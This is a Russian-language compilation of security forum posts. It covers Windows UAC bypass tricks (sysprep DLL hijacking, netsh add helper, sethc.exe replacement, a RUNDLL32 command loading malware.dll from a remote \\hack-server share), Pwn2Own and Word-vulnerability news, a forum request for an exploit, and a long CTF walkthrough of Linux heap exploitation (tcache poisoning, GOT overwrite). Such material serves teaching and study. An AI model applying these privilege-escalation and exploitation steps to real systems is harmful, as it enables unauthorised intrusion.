adm.png&hash=fa20ba758e16eafbb0d9a33bef9a429f)
Рисунок: утилита sysprep как встроенный бэкдор
Если умеешь программировать, то можешь запустить sysprep.exe скрыто —
напримeр, через CreateProcess() с флагом StartupInfo.wShowWindow =
SW_HIDE. На скрытые окна сегодня ругаются эвристические анализaторы многих
антивирусов, но сейчас мы говорим только про UAC — ему все равно. После такого
запуска sysprep.exe пoпытается загрузить и выполнить библиотеку
CRYPTBASE.dll , но на ее месте окажется наша, уже содержaщая нужную нам
функциональность. Она совершенно легально поднимет права нашему коду, и UAC
примет это как должное.
Это происходит потому, что wusa и sysprep находятся в белом списке, а все
приложения из этого списка могут поднимать себе права без участия UAC. Наш же
код из подгружаемой установщиком библиотеки унаследует права родительского
процесса sysprep.exe и также будет считаться дoверенным.
![Использование sysprep для обхода
UAC](/proxy.php?image=https%3A%2F%2Fcryptoworld.su%2Fwp-
content%2Fuploads%2F2016%2F11%2F1478622509_1bd0_pshell_pres.png&hash=e1bedf37b6d8760f16b7e9811076ecc0)
Рисунок: использование sysprep для обхода UAC
Рассмотренный выше трюк совместного использования wusa и sysprep представляет
собой модифицированный метод Лео Дэвидсона (Leo Davidson). Исходный вариант
был применим только к непропатченной Windows 7 и был описан еще в 2009 году в
рассылке компьютерного сообщества Оксфордского университета. Копия приводится
на его
сайте,
который из-за обилия подобного кода внесен в списки потенциально опасных.
Метод Дэвидсона в различных модификациях уже много лет используется для
внедрения троянов, оcобенно семейства
Win32/Carberp.
Пик эпидемии пришелся на осень 2011 года, но способ до сих пор работает в
следующем типичном сценарии: действия выполняются в 32-битной версии Windows
7/8 под учетной записью администратора при включенном UAC с настройками по
умолчанию. Простому пользователю нельзя запускать wusa.exe, но многие до сих
пор сидят под админом без реальной необходимости. Просто им лень создавать
пользовательские учетки и управлять правами доступа даже через встроенные
средства.
Мэтт Грэбер (Matt Graeber) уточняет, что данный метод не работает «как есть» в
Windows 8.1/10, поскольку в этих ОС изменены как sysprep.exe, так и сам UAC.
Теперь программа подготовки системы к развертыванию загружает DLL только из
%windir%\system32\.
7. Еще несколько лазеек в Windows
Помимо распаковки DLL из аpхива CAB с помощью wusa, можно использовать и
другие системные компoненты для копирования своих библиотек в системные
каталоги. Например, можно отправить их на печать и сохранить как файлы через
стандартный интерфейс принтера printui.
![Интерфейс принтера позволяет сохранить любой код как файл в системном
каталоге](/proxy.php?image=https%3A%2F%2Fcryptoworld.su%2Fwp-
content%2Fuploads%2F2016%2F11%2F1478622633_f057_printui.png&hash=4c62d05f613b3dfa1ee7159bf4b1b8ca)
Рисунок: Интерфейс принтера позволяет сохранить любой код как файл в
системном каталоге
При помoщи ключа реестра в этой ветке можно задать запуск любой программы с правами администратора:
1| HKEY_CURRENT_USER\Software\Microsoft\Windows
NT\CurrentVersion\AppCompatFlags\Layers
---|---
![Запуск чего угодно от админа без подтверждения в
UAC](/proxy.php?image=https%3A%2F%2Fcryptoworld.su%2Fwp-
content%2Fuploads%2F2016%2F11%2F1478622643_a4ca_runasadmin.png&hash=6ab29ba00c5cf7be64c256f8b77a5e4d)
Рисунок: запуск чего угодно от админа без подтверждения в UAC
В домене UAC не реагирует на действия удаленного пользователя, если тот является локальным админом. Утилита PsExec Tool от Марка Руссиновича при старте с опцией –h скрыто запускает указанный экзешник на удаленной системе. Для повышения его привилегий на чужом компьютере может использоваться локально хранимый токен. Готовый экcплоит для этого также есть в Metasploit, а сам метод [подробно разбирается здесь](https://pen-testing.sans.org/blog/pen- testing/2013/08/08/psexec-uac-bypass).
Иногда удобен быстрый способ внедрения своего кода через RunDll. В общем случае для этого достаточно отправить команду
1| RUNDLL32.EXE \\hack-server\malware.dll,RunMalwareFunc
---|---
Тогда системный компонент Rundll.exe сам выкачает указанную библиотеку malware.dll с самба-сервера _\\hack-server_ и вызовет встроенную в нее функцию RunMalwareFunc().
Еще одна утилита командной строки, помогающая тихо внедрить свой код, —
сетевая оболочка netsh.exe. Для установки дополнительных DLL в ней есть
встроенная функция add helper. Технически в качестве подгружаемой библиотеки
можно указать не только модуль поддержки network shell , но и свою DLL —
лишь бы в ней была соответствующая функция InitHelperDll().
Поэтому, если выполнить команду
1| netsh.exe add helper %temp%\malware.dll
---|---
наша библиотека malware.dll зарегистрируется в ветке реестра
HKLM\SOFTWARE\Microsoft\Netsh. Она будет зaгружаться с правами системы и
сможет делегировать их дочерним процессам.
![Запускаем калькулятор как системный
процесс](/proxy.php?image=https%3A%2F%2Fcryptoworld.su%2Fwp-
content%2Fuploads%2F2016%2F11%2F1478622664_ee91_calc_as_sys_proc.png&hash=f7f54089f3e2bce72929496442697557)
Рисунок: запускаем калькулятор как системный процесс
Вспомним еще один старый трюк. Он позволяет запустить консоль с правами уровня системы еще до входа в Windows. Для этого достаточно заменить компонент «Специальные возможности» (sethc.exe или utilman.exe — в зaвисимости от версии ОС) на копию командного процессора cmd.exe. После такой замены при клике на ярлыке «Специальные возможности» вместо них прямо поверх экрана приветствия откроется консоль с наивысшими привилегиями. Подробнее об этом и других методах обхода ограничений Windows читай в статье «[Как получить права админа в Windows](https://cryptoworld.su/kak-poluchit-prava-admina-v- windows/)».
Источник: cryptoworld.su
Чарли Миллеру, специалисту по вопросам безопасности из компании Independent Security Evaluators, потребовалось всего 10 секунд для того, чтобы захватить контроль над Macbook’ом с полностью пропатченными Mac OS X и safari.
В нынешнем году перед участниками Pwn2Own ставилась задача по взлому браузеров Internet explorer 8, Firefox и Chrome, установленных на ноутбук Sony Vaio, работающий под Windows 7, а также Safari и Firefox, инсталлированных на Macbook с ОС Mac OS X. По условиям состязания, атака должна производиться через неизвестную "дыру", а от жертвы не должны требоваться никакие действия, кроме одного нажатия на ссылку.
С поставленной задачей Чарли Миллер справился менее чем за 10 секунд, показав возможность захвата контроля над Macbook’ом с полностью пропатченными Mac OS X и Safari. Информация об уязвимости из соображений безопасности не раскрывается — соответствующие сведения уже направлены компании Apple.
За победу Чарли Миллер получил $5 тыс. и тот самый "взломанный" Macbook. Напомним, что Миллер является также победителем прошлогоднего соревнования Pwn2Own.
Вслед за Миллером отличился еще один участник Pwn2Own, скрывающийся под именем Nils: он успешно взломал Internet Explorer 8, получив в качестве вознаграждения $5 тыс. и ноутбук Sony Vaio. Детали уязвимости, которую спонсоры соревнования из TippingPoint ZDI назвали "блестящим багом IE8", тоже не разглашаются.
Nils, кроме этого, успешно взломал и Apple Safari (став в этот день вторым человеком, которому удалось это сделать), после чего смог использовать непропатченную уязвимость в Firefox.
В нынешнем году в рамках соревнования Pwn2Own также проводится конкурс по взлому мобильных программных платформ. За успешное проникновение на iPhone или смартфон под управлением Google Android, Symbian OS или Windows Mobile можно получить приз в размере $10 тыс.
Источник: www.securitylab.ru
В текстовом редакторе Microsoft Word обнаружена опасная уязвимость, которая теоретически может использоваться злоумышленниками для выполнения на удалённом компьютере произвольных вредоносных операций.
Как сообщает датская компания Secunia, для организации атаки нападающему необходимо вынудить жертву открыть в приложении Word сформированный особым образом документ. Такой документ, например, может быть размещён в интернете или прислан по электронной почте. После открытия файла на ПК происходит ошибка, в результате которой атакующий может получить неограниченный доступ к системе. По классификации Secunia брешь получила рейтинг наивысшей опасности.
Уязвимость, патча для которой в настоящее время не существует, присутствует в офисных пакетах Microsoft Office XP и Office 2003. Корпорация Microsoft уже поставлена в известность о существовании проблемы и занимается разработкой патча. Не исключено, что соответствующая заплатка будет выпущена вместе с ежемесячной серией обновлений 13 июня.
Между тем, антивирусные компании предупреждают о появлении вредоносной программы, эксплуатирующей дыру в Microsoft Word. Троян Ginwui.A проникает на компьютер при просмотре пользователем вложения, присланного по электронной почте. После активации Ginwui.A вносит изменения в реестр Windows и размещает на машине модуль, открывающий "черный ход" в систему. Используя вредоносную программу, киберпреступники могут выполнять на компьютере жертвы произвольные действия, в том числе удалять файлы, перезагружать компьютер, делать скриншоты и просматривать конфиденциальную информацию. Специалисты компании F-Secure настоятельно рекомендуют пользователям не открывать документы Word, присланные из неизвестных источников.
Копипаст с xakepy.ru.
На сек-лабе написано что сплой есть, но ссылки на него нету, у кого есть сплой?
Возник вопрос, а как же получить права администратора на этом облачном
сервисе? В долгих поисках и исследованиях я смог получить доступ:
1. Консоли
2. Steam Big Screen чтобы скачивать файлы с интернета
3. Доступ к графическому интерфейсу системы(кастомный GUI батник)
4. Архиватору
5. Доступ к файловому менеджеру (Explorer++)
Но все это не дает полного доступа к всему функционалу системы
Спецификации системы добавил скриншотом ниже:
Есть ли способ получить права администратора на данной системе?
Могу предоставить все необходимые файлы для помощи в исследовании!
Привет, Дамага!
Сегодня я бы хотел поделиться с вами некоторыми знаниями в области
эксплуатации кучи на современных linux системах.
Под словом "современные" подразумевается аллокатор ptmalloc - в котором
присутствует кеширование чанков. Этот стандарт по умолчанию присутствует в
большинстве дебиан-подобных дистрибутивах, так что его мы сегодня и
рассмотрим.
Цель данного материала - простыми словами и на понятных примерах раскрыть суть
довольно интересных вещей, которые с первого взгляда могут показаться чем-то
сложным.
На форуме есть масса материалов по Win эксплуатации, но значительно меньше по
Linux. Данная работа рассчитана в первую очередь на новичков в данном
направлении и в ней рассмотрены те скользкие моменты над которыми я лично
ломал голову ночами. Тут не будет ничего всех-естественного, но я постараюсь
объяснить все максимально просто и понятно. Поехали.
В качестве стенда будем использовать debian-10 + libc-2.30 на котором будет развёрнут таск с HTB - chapter1.
checksec --file ./chapter1
Отлично, у нас есть статичный сегмент самого бинарного файла, который не
подвержен рандомизации. об этом свидетельствует надпись "No PIE".
А это означает, что сегмент .BSS (о нём чуть позже в деталях) так же будет
статичен. И мы сможем эксплуатировать табличку GOT.
Кроме этого, мы можем наблюдать перечень включенных защит - а именно:
частичное RELRO - то бишь защита PLT семента.
NX бит - то бишь не исполняемый стек.
Сanary - канарейка, то бишь рандомная велечина перед указателем дна стека, при
нарушении которой программа аварийно завершится.
Ну и, само собой, на практически любой машине будет ASLR на уровне системы. То
бишь, все кроме нашего бинарника, будет в рандоме.
Подробнее о том, что является нашим бинарником, а что нет - рассмотрим ниже.
Более подробно про митигейшены можно прочесть тут:
https://www.opennet.ru/opennews/art.shtml?num=27938
. Давайте взглянем на приложение в рантайме.
Сразу бросается в глаза то, что мы не можем читать из чанка. Можем только
создавать чанк, изменять его содержимое, и удалять чанк.
Ну что, нужно немного ресерча. Для этого на помощь приходит айда-про.
Несколько коряво распознана логика меню, но становится понятно, что тут в
uInput считывается ввод от юзера, дальше он попадает в atoi() и исходя из
этого мы переходим в какую-ллибо из ф-й по работе с памятью.
Хм, как видно в начале ф-и - программа перебирает циклом for некоторый массив
указателей (исходя из названия ptr, pointer) и, если находит такую ячейку
массива, которая возвращает false - то бишь свободную - то выходит их цикла и
использует дальше уже ее. Если же циклу не узаётся найти свободного поля для
указателя на чанк в диапазоне от 0 до 15 включительно - нас выбрасывает из
функции с ошибкой puts("Too many notes!");
далее, нас просят ввести размер чанка и запрашивают у аллокатора память
данного размера. Заглушка на случай не удачной аллокации - признак хорошего
тона. После чего вызывается ф-я reader(). Ее и посмотрим.
снова заглушка. и проброс пользовательского ввода в штатную ф-ю read().
Взглянем на неё по ближе:
считать из файлового дескриптора кол-во байт указанное в переменной count и
записать их по указателю в buf. А это говорит о чем? правильно, о том, что мы
вообще не ограничены bad char-ами. И можем на аллокации чанка заполнять его
абсолютно чем угодно. На счёт файловых дескрипторов более прдробно можно
прочесть, например, тут: https://xss.is/threads/37092/
С этим разобрались идём далее:
В начале используется та же конструкция, что и в меню. после трансформации
импута в интовое число программа проверяет, попадает ли оно в наш допуск (от 0
до 15 включительно), если нет - мы выходим из игры, а если да - то тогда самое
интересное.
сперва вычисляется chunk_size. вычисляется он с помощью ф-и strlen().
Давайте обратимся к man strlen
что бы уточнить спецификацию.
Другими словами ф-я принимает указатель на память и начинает по этой памяти
ехать, словно комбайн, до тех пор, пока не упрётся в нульбайт. После чего
немедленно глушит мотор и возвращает кол-во байт от начального включительно до
нуль-байта не включительно.
Что мы должны отметить для себя на этом моменте?
Что мы можем запросить у аллокатора до 16 чанков, указать им не отрицательное
значение размера, и после аллокации заполнить указанное кол-во байт любыми
значениями.
После чего мы может запросить у программы изменение содержимого в чанке, и
изменить столько байт, сколько будет находиться в чанке от начала
пользовательских данных до первого встречного нульбайта.
Забегая вперёд я скажу что эта уязвимость называется one-byte-overflow. Но мы
ещё это посмотрим на практике.
Сперва давайте добьем скучное, но нужное, и после перейдём к интересному
Всё тоже самое. если указатель в диапазоне 0-15 включительно, то вызываем
free(), чем отдаём чанк во владения аллокатора.
Ну и крайний пункт в меню обозначен прямо в main()
Это может пригодиться нам в дальнейшем, т.к. взаимодействие с данным пунктом
происходит в главном стековом фрейме.
Вообще мне понравилось как вот тут https://m.habr.com/ru/post/480454/
описана работа с декомпилятором.
C:Copy to clipboard
/*
на ассемблере нету функций. зато есть стек-фреймы или кадры стека.
и, в большинстве случаев, вхождение в какую либо функцию обозначено мнемоникой call
а выход из этой функции обозначен мнемониками leave; ret;
после выполнения call (входа в функцию) следует пролог на ассемблере, в котором стековый кадр сдвигается вверх, к младшим байтам.
а на выходе из этого стекового кадра, в эпилоге ассемблера, программа восстанавливает стековый кадр из указателя дна стека ($rbp).
именно по этому канарейка расположена перед $rbp
*/
Вообще в PWN опыт решает. Когда у тебя появляется опыт - ты уже видешь о чем
говорит тот или иной краш. Ты уже держишь в голове несколько потенциальных
векторов и ты уже понимаешь куда бить.
Когда от CTF ты переходишь к эксплуатации реального софта - ты снова
чувствуешь себя ничего не понимающим нью-байтом, хотя до этого ты на раз-два
раскидывал сложные таски CTF.
И снова опыт. И так до бесконечности.
Первая команда после открытия софта под дебагером должна быть i fu
Потому, что после запуска программы в списке функций появится уже куча других
функций из libc и других библиотек. А так мы можем оценить качество нашего
ресёрча. и проверить ничего ли мы не упустили.
Вроде как нет. Сразу же стоит отметить что у нас есть 2 печатающие функции -
это puts и printf. Но нету возможности печати из чанка. Все вызовы данных
печатающих функций происходят с захардкоженными в бинарник строками.
Мы ни как не можем повлиять на то, что передаётся им в аргументы.
Окей, едем далее: скомандуем start
что бы проинициализироваться. А после
got
и следом plt
Перед тобой структура таблички GOT - Глобал Оффсет Тейбл.
Что это такое и с чем его едят ты спокойно найдёшь в интернете.
Но мы с тобой обратим внимание на следующие вещи:
1 - табличка GOT непосредственно связана с табличкой PLT.
2 - до тех пор, пока функция не вызывалась не разу ее динамический адрес не
известен. Об этом свидетельствует 2 признака:
Взглянем на доступные сегменты памяти. Учти, что запуск программы из под
дебагера по умолчанию выключает ASLR. Так что все сегменты у нас представлены
без рандомизации.
Что бы включить его - можно использовать команду aslr on
и перезапустить
программу.
Как видешь, под понятие PIE попадает три сегмента. С бинарными командами -
имеет бит X. Со статичными данными (строками) - имеет бит R. И сегмент BSS -
имеет бит W.
Биты привилегий аналогичны стандартам линукса. выполнение, чтение, запись.
Подробнее про это можно прочесть в той же статье, что и про файловые
дескрипторы.
Почему +6? давай посмотрим
что мы тут видим? мы видим пуш ноль, после безусловный переход, который
напоминает сальто назад. потом пуш по динамическому адресу. и потом ещё один
джамп (безусловный переход) по тому же динамическому адресу.
Красиво, не так ли?
Теперь давай разберёмся с .BSS сегментом. В этот сегмент попадают значения
таблички GOT, а так же все глобальные и статичные данные объявленные
программистом. Почему это происходит?
Потому, что компилятор знает заранее сколько места понадобится в памяти, что
бы разместить там объекты, которые объявлены заранее. Например указатели. Он
знает, что у нас может быть всего 16 чанков. Он знает что 1 указатель занимает
в памяти 1 поле - 8 байт. Он размещает этот массив указателей именно в секции
.BSS
Окей. Давай взглянем чуть под другим углом. команда tele
aka telescope
позволяет посмотреть что есть в памяти и сама переходит по всем указателям.
Однако учти, что если она встречает несколько полей подряд с одинаковыми
значениями, то она сокращает вывод. Так что можно чего-то не заметить.
Что бросается в глаза? Отсутствие сегмента оперативной памяти. Heap. Почему?
Потому, что он ещё не инициализирован. Потому, что ещё не было не одного
обращения к аллокатору.
Даваай-ка это исправим.
продолжаем исполнение программы с помощью c
аллоцируем чанк. И прерываем исполнение программы с помощью sigint - либо
командой Ctrl+C
смотрим что измменилось:
1 - появился сегмент heap.
2 - в табличке GOT появились динамические адреса на libc.
давай посмотрим ещё раз на сегмент .BSS
Указатель на наш чанк размером в 1 байт и контентом "1" появился в секции
.BSS. tele любезно перешёл по указателю и посмотрел что там находится.
Окей, теперь давай разбираться с heap.
Для начала нужно знать следующее:
C:Copy to clipboard
/*
логика менеджера памяти напрямую зависит от версии libc.
в каждой версии libc есть свои отличия от других версий.
есть глобальные отличия, есть не значиельные. Но все это нужно учитвать.
глобальным отличием является введение ptmalloc с версий libc 2.26, если я не ошибаюсь
почитать по поводу эксплуатации ткеша можно на этих слайдах
https://github.com/bash-c/slides/blob/master/pwn_heap/tcache_exploitation.pdf
*/
ну а мы же с тобой рассмотрим на конкретном примере что к чему и как оно все работает.
в pwndbg (кто не знает - это такой "обвес" для GDB) есть замечательная команда
vis
и heap
но, для их работы необходимы отладочные символы. По поводу отладочных символов
написано вот тут: https://xss.is/threads/37704/
Для начала нужно понять что такое чанк, из чего он состоит и какой он вообще
бывает.
Чанк бывает аллоцированный и свободный.
вот тебе скриншот из моего конспекта, который я писал, когда проводил ночи на
пролёт под дебаггером в попытках понять что тут к чему:
В исторических целях вот ещё скриншот про unlink, и в общеобразовательных
целях - по UAF. В случае с unlink - это уже не работает в своем первозданном
виде на tcache. Но есть другой подход. Об этом позже.
*прим. автора: некоторые данные на скриншотах выше могут быть не актуальны, однако, на тот момент когда я это писал - они очень хорошо помогли мне разобраться в чём суть и как оно работает.
Вернемся к нашим баранам - когда чанк особождается явно начинает проявляться
его класс. Он может быть класса tcache, fastbins, класса small, класса
unsorted и large.
Но в данном чтиве мы рассмотрим unsorted и tcache чанки. Я думаю этого с
головой хватит, что бы заполнить тарелку для твоего мозга пищей
По умолчанию ткеш имеет 7 слотов для освобождённых чанков. этот параметр
задаётся при компиляции libc. Так что сисадминам-гентушникам в этом плане
повезло, наверное)))
Так вот. Класс tcache делится в свою очереь на динамические группы - согласно
размеру. То есть у нас может быть 7 ткеш чанков одного размера. если мы
освобождаем 8 чанк такого-же размера - он попадает в unsorted.
если после этого мы освобождаем 9й чанк другого размера - он снова попадает в
ткеш, но уже своего размера. если после этого мы освобождаем 10й чанк такого
же размера, как первые 8 - он попадает опять в unsorted.
освобождать чанки я начал с выделенного чанка. таким образом список
закольцевался именно на нём. как видешь я заполнил список ткеш чанков типа
0х20 семью чанками. после этого я освободил чанк на 0х50 - и он снова попал в
ткеш. но уже своего класса. Обрати внимание, что prev_in_use бит игнорируется.
а в указателях FD и BK лежат адреса на форвард и беквард чанки соответственно.
Тут стоит обратить внимание на то, что FD и BK могут смотреть как вверх так и
вниз, в зависимости от последовательности освобождения памяти. Попробуй сам, и
разберись с этим.
Так, а какой индекс будет иметь следующий аллоцированный чанк?
Помнишь мы выше смотрели указатель на первый аллоцированный чанк? Он лежал по
адресу 0x6020c0
У нас массив чанков на 16 указателей. Не сложно посчитать что следующий не
false указатель под индексом 7, если считать c нуля.
Освобождаем чанк с индексом 7 и смотрим в кучу:
Но мы ожидали, что чанк попадет в unsorted? почему-же он в fastbins?
Да и вообще, хватит с нас теории, ты обещал практику ещё 2 параграфа назад!!!
Click to expand...
Подумали чистатели.
давай попробуем чуть иначе. Мы не будем вводить все это дело в ручную, а
напишем на питоне некоторый скрипт, который нам поможет во всём разобраться.
Но сперва, у нас остался ещё 1 маааленький момент. Мы же нашли уязвимость, во
всяком случае мы думаем что мы ее нашли, и классифицировали ее как one-byte-
overflow.
В чем же тут суть? Суть в том, что когда мы аллоцируем чанк такого размера,
для которого истенно тверждение что:
(size(data_segment)+size(size_segment))%16 == 0
то есть размер чанка (размер дата + размер поля size) кратно 16 -- тогда поле
data контактирует с полем size следующего чанка. Соответственно, если мы
проедемся функцией strlen() по этой грядке - то он вернёт больший размер, чем
был аллоцирован. И перезапишет больше байт. Главным условием для этого
является то, что не должно быть нигде нульбайтов по дороге до поля size
следующего чанка.
данные намазываются на поля, как масло на хлеб. берется поле, и записывается
с права на лево, (и берется следующий кусочек хлеба) и берется средующее
поле с лева на право.
перезаписываем чанк символами "B" - и наблюдаем, что размер чанка с индексом
2 из 0х21 превратился в 0x42
Если попытаться теперь освободить чанк с индексом 2 то мы получим следующий
краш:
Запомни визуально выделенную инструкцию. Она железобетонно гарантирует что
размер чанка кораптед :3
По центру - эксплойт. Вернее, среда его разработки. Справа - среда его
тестирования - python3 в рантайме. И слева - отладчик.
Поработал справа, достиг нужного эффекта слева - сохранил изменения по центру.
Очень удобно.
Для начала определяем функции для созддания удаления и изменения чанков
соответственно.
Потом запускаем процесс. получаем его PID. Слева этот PID аттачим командой
attach #PID
Как видешь - адреса уже в ASLR рандомизации.
Давай теперь составим с тобой план действий. Что нам нужно? Что мы можем? Как
мы поступим?
1 - нам нужно RCE
2 - мы можем изменить размер любого чанка, кроме нулевого (с индексом 0). Так
же, мы можем использовать гаджеты из бинарника и секцию .BSS так как PIE off.
3 - это уже вопрос более глубойкий. Есть, на вскидку, как минимум 4 варианта
как выполнить свой код.
Либо?
Ну как-то так. Окей. Читать из чанка мы не можем. Адреса, кроме бинарника, мы
не знаем. В принципе для первых 4 пунктов нам нужно знать адреса. Как же
поступить?
Давай для начала посмотрим вот сюда:
мм, не густо. тогда давай посмотрим вот сюда:
https://github.com/shellphish/how2heap/
Тут есть пару интересных техник. Они воссозданы синтетически, но суть оловить
можно. особенно если скомпилировать с ключем -g и смотреть это кино пд
отладчиком.
Кароче, нам надо сделать так, что бы мы смогли получить хоть какой-то примитив
для начала. Чтение или запись. хоть что-то. Для этого, сперва нужно забить
список ткеш:
Сказано - сделано!
что дальше? дальше следующий освобождаемый чанк размера 0x110 попадает в
unsorted bin.
Смотрим более детально:
То есть, у нас в чанке уже есть адрес в libc. Если бы в нашей программе была
возможность печати из чанка - мы бы с лёгкостью его распечатали. Но такой
возможности и нас нету.
Что же нам делать? Ну, наверное нам нужно попробовать оверлапнуть чанки.
Больше мы по сути ничего и не можем сделать. Учти, что либц очень трепетно
следит за всеми размерами метаданных всех чанков. И если ему что-то покажется
странным - сигаборт.
Но, мы будет рассчётливы и аккуратны.
Бэмс! И магия. Тёёёёмная мааагияяяя....
Чуть подробнее рассмотрим это заклинание:
1 - сендлайн(2) - выбор в меню изменения контента
2 - сбрасываем вывод
3 - сендлайн(14) - выбираем чанк, который будем изменять.
4 - сбрасываем вывод
5 - сенд(о*256+9байт) | тут важно то, что sendline на питоне терменирует строку байтом переноса строки \x0a. А нам он там не нужен. По этому send(). |
Выходит, что по адресу 0x1e81280 у нас был последний кусочек чанка с индексом
14. Чанк алллоцирован. Мы смело можем писать в него.
помнишь, как мажется масло на хлебушек? берется кусочек хлебушка (8 байт) и
кусочек масла (8 байт). и мажется справа на лево. получается что \x30 попадает
в начало поля, далее \x03. далее 6 нульбайтов. далее берется следующее поле и
маленький кусочек маселка размером в 1 байтик намазывается на начало поля.
получается то, что на скриншоте. То есть, мы правим поле prev_size на размер
нашего фейкового чанка, который теперь составляет 0х330 байт включая размер
мметаданных. и правим бит prev_in_use сследующего чанка на 0 - говоря о том,
что наш фейковый чанк не используется, а свободен.
6 - мы перезаписываем данные чанка с индексом 11 (чанк, который идёт перед 12,
логично блин) и во время изменения вылазим за его пределы, чем перезаписываем
размер 12 чанка на байтый \x31\x03
почему не \x30\x03 ? потому что это prev_in_use бит. а предыдущий чанк, 11, у
нас аллоцирован и используется.
Таким образом наш unsorted bin чанк свободен и 2 чанка внутри него -
аллоцированны. Это и есть чанк оверлаппинг.
Повторяем действия ещё раз.
отлично, отлично. теперь у нас есть 2 unsorted bin размером в 0x330 в нутри
каждого из них есть по 2 allocated чанка размером в 0x110
А значит мы можем что? Правильно, мы можем выбрать следующий вектор для
продолжения атаки. Как ты понял в куче очень много возможных элементов атаки,
и комбинируя их, в зависимости от условий, ты можешь достичь желаемого
результата.
Я думаю, что следует рассмотреть и применить методику tcache poisoning.
Работает она следующим образом:
создаётся свободных tcache чанка одиннакового размера один рядом с другим. и в
FD указатель младшего (у которого индекс меньше) записывается тот адрес, по
которому мы хотим получить read/write примитив. Важно тут то, что этот адрес
должет быть в сегменте, который доступен для записи, иначе мы получим краш.
Давай пробовать:
сперва мы освободим tcache что бы можно его заполнить, но уже нужными
(подконтрольными) нам чанками:
*прим автора: тут я нечайно не скопировал одну инструкцию и вылетел с сигабортом, так что дальше адреса будут в рандомизации, но уже отличной от той, что выше. принципиально ничего не меняется.
Вжух. И магия снова работает по полной. Хотя, с первого взгляда может
показаться, что первое и второе заклиенание были более эффектны и наглядны -
на самом деле это - куда круче.
По подробнее:
аллоцируем 7 чанков на 264 байта (264+8=0х110) - чем освобождаем ткейч.
освобождаем 2 чанка, которые находятся в теле нашего верхнего из двух, уже
освобождённого, фейкового, unsorted bin-а.
далее, мы запрашиваем у менеджера памяти чанк разммером 1 байт. наглядно,
аллокатор любезно нарезает на чанк на 32 в сумме с метаданными байт с верхушки
нижнего (с индексом 0) unsorted bina.
Таки образом в аллоцированном чанке оказывается сразу 2 адреса. На либси и на
кучу. почему? потому что они там были изначально, когда освобождался чанк на
0x110 и попадал в unsorted. форвард смотрел в либси, а бэквард - на предыдущий
фейковый чанк. отсюда и происхождение адресов. Когда же мы аллоцируем там чанк
Сперва я готовлю пейлоад. 264 байта - перезаписывают память пренадлежащую к
нашему unsorted чанку. сверхну на скриншоте видно, что там знаки "!". Таким
образом мы подбираемся к началу метаданных деаллоцированного и активного
чанка типа tcache 0x110. перезаписываем его поле size на 0х110 - так как над
ним был свободный unsorted. перезаписываем указатель FD на то место, где хотим
аллоцировать новый чанк. это может быть любая памят с битом W. будь то стек,
или .BSS или libc.
Следующие адреса не принципиальны, но пускай смотрят куда-то, где есть бит W.
я поставил их смотреть в BSS но по дальше.
Потом добавляем 248 байтов "@" и снова перезаписываем поля size, FD, BK, но
уже нижнего tcache 0x110 чанка.
На данный момент чанки не были перезаписаны. Перезапись происходит следом за
аллокацией на 808 байт. а 808 байт == 0х330-8.
Таких движений немного не вывез даже pwndbg и один из чанков, по его мнению,
пропал без вести.
Далее - очень важный момент заклинания. Если глянуть на скриншоты в начале
статьи то будет ясно что по адресу 0x602018 находится
free@got.plt
Почему я выбрал это место, что бы аллоцировать там чанк? Потому, что в нее, в
функцию free(), передаётся указатель на чанк. Точно так же, как в функцию
printf() передаётся указатель на строку. Так что нам мешает заменить функцию
free() функцией printf()?
0x400710 - это адрес printf(). 0x400710 - статичен. 0x602018 - тоже статичен.
единственное, что нужно учесть, что следующее поле от 0x602018 затрется нулями
в виду особенностей эксплуатации. Так как там печатающая функция puts() - мы
можем не заморачиваться особо с поиском puts() в plt, а просто перезаписать и
её поле значением printf@got.plt.
p4w = p64(0x400710)+p64(0x400710)
Шикарно. У нас есть чанк в BSS сегменте) Единственное, что мы его не можем
деаллоцировать. Так как его поле size будет корраптед. Но, мы можем, при
необходимости, создать выше ещё один фейковый чанк. Поправить поле size
текущего на валидное значение. и спокойненько его деаллоцировать. в результате
там появится несколько интереснейших адресов. Но, я оставлю возможность
попробовать это заклинание в качестве домашнего задания моему читателю, т.к. у
меня лимит в 40 изображений и он подходит к концу. Эх. А я хотел ещё про
аллокацию в сегменте libc рассказать.
И так. Пробормотав обратное заклинание я сделал следующее:
1 - попытался удалить чанк под индексом 8 - на скриншоте выше он ровового
цвета. На тот момент в GOT в поле free() находилась функция printf(). Как
видно справа - мне любезно предоставили адрес в либси.
2 - заменил 3 младших нулями и вычислил базу либси.
3 - взял случайный чанк и записал в него модификаторы %#lx
4 - заэнфорсил уязвимость форматных строк попыткой удалить чанк фенкцией
printf(). В результате чего содержимое чанка попало в printf() и распечатало
мне адрес со стека.
5 - восстановил значение в GOT поля принадлежащего функции free() на 0х4006d6
Ну всё. У нас есть адреса стека. у нас есть адреса либси. у нас есть
ван_гаджет. Вопрос только в том, что в libc-2.30 условия для запуска гаджета -
это $rsp+0x60 == 0x0
Такую картину нам может дать функция exit(). Так как она отрабатывает из
главного карда.
Ещё раз пройдёмся по заклинанию:
1 - обозначаем статичный адрес в .BSS для функции exit
2 - колдуем с оффсетамми для перезаписи нижнего unsorted bin (важно то, что мы
отрезали от него 0x20 байт, так что он теперь не 0x330, а 0x310. по этому и
оффсеты будут меньше до первого блока метаданных
3 - аллоцируем чанк на 778+8=0х310 байт
4 - перезаписываем метаданные свободных чанков tcache
5 - аллоцируем 2 tcache чанка нужного размера
6 - тригеррим exit() из главного меню.
7 - получаем PROFIT!
Эксплоит отрабатывает где-то секунды 4-5.
Но, это ещё не всё. Ты наверное обратил внимание на комментарии в коде
эксплойта, которые кричат о том, что там автор имел намерения перезаписывать
__malloc_hook? Все знают про то, что если перезаписать __malloc_hook на какой-
нибудь адрес памяти с привелегиями X - то он выполнится. Точнее, туда будет
осуществлён безусловный переход.
Так вот, была такая техника House of Roman - эта техника работала на
фастбинах, если я не ошибаюсь. Она позволяла с вероятностью 1/16 выполнить код
не зная вообще не единого адреса.
Так вот, ещё до того, как я узнал о существовани этого сценария - мне пришла в голову следующая мысль:
Мы делаем чанк оверлаппинг, а потом аллоцируем небольшой кусочек, что бы до
начала освобождённого tcache чанка осталось отличное от самого tcache
расстояние. И тогда аллоцируем это расстояние.
Таким образом в наш FD указатель попадает адрес непосредственно в libc. Более
того, для этого нам не нужно знать никаких адресов, и даже если PIE будет
включен - для нас это не будет помехой.
Взглянув на адрес становится ясно, что над ним расположенны как раз таки __malloc_hook
А это означает, что если перезаписать младший байт нульбайтом - то мы сможем
аллоцироваться прямо на хуках.
можно было бы сделать аллокацию на 1 байт и записать туда \x00, но мы, зная
оффсет до нужного нам хука, сразу аллоцируемся на нём.
